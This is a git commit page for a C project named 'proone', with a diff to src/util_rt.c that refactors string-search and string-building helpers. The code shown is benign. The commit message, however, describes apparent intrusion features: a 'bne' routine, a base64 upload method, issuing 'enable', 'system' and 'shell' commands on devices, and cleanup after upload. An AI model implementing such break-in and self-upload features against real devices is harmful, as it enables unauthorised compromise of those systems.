diff options
author | David Timber <mieabby@gmail.com> | 2020-09-22 01:41:07 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-22 01:41:07 +0930 |
commit | ddfdc8fe7dfbc0c496dc85c611df26fdc696af09 (patch) | |
tree | a9828359dd8d53212600d4c5a213e6b861fd8a5e /src/util_rt.c | |
parent | 1f0323e21067bf9ec2832ff96fa804be7f9ba08f (diff) |
* Impl bne
* Add base64 upload method
* Remove pollin_f()
* Caller should terminate cmdline
* Newline style detection for \r\n, \r\0, \r or \n
* Issue "enable", "system" and "shell" on set up
*
* Rename prne_strnstr() -> prne_memmem()
* Added prne_rebuild_str() for efficiency
* Daemonise proone so that bne can clean up after upload
Diffstat (limited to 'src/util_rt.c')
-rw-r--r-- | src/util_rt.c | 26 |
1 files changed, 15 insertions, 11 deletions
diff --git a/src/util_rt.c b/src/util_rt.c index 11fb9f0..a3829b2 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -221,19 +221,22 @@ void prne_transstr (char *str, int(*trans_f)(int)) { } } -char *prne_strnstr ( - const char *haystack, - size_t hs_len, - const char *const needle, +void *prne_memmem ( + const void *in_haystack, + const size_t in_hs_len, + const void *const needle, const size_t n_len) { + const uint8_t *haystack = (const uint8_t *)in_haystack; + size_t hs_len = in_hs_len; + if (n_len == 0) { return NULL; } while (hs_len >= n_len) { - if (*haystack == *needle && memcmp(haystack, needle, n_len) == 0) { - return (char*)haystack; + if (memcmp(haystack, needle, n_len) == 0) { + return (void*)haystack; } haystack += 1; hs_len -= 1; @@ -242,10 +245,11 @@ char *prne_strnstr ( return NULL; } -char *prne_build_str ( - const char **const arr, - const size_t cnt) -{ +char *prne_build_str (const char **const arr, const size_t cnt) { + return prne_rebuild_str(NULL, arr, cnt); +} + +char *prne_rebuild_str (void *prev, const char **const arr, const size_t cnt) { char *ret, *p; size_t len; @@ -253,7 +257,7 @@ char *prne_build_str ( for (size_t i = 0; i < cnt; i += 1) { len += prne_nstrlen(arr[i]); } - ret = prne_alloc_str(len); + ret = prne_realloc(prev, 1, len + 1); if (ret == NULL) { return NULL; } |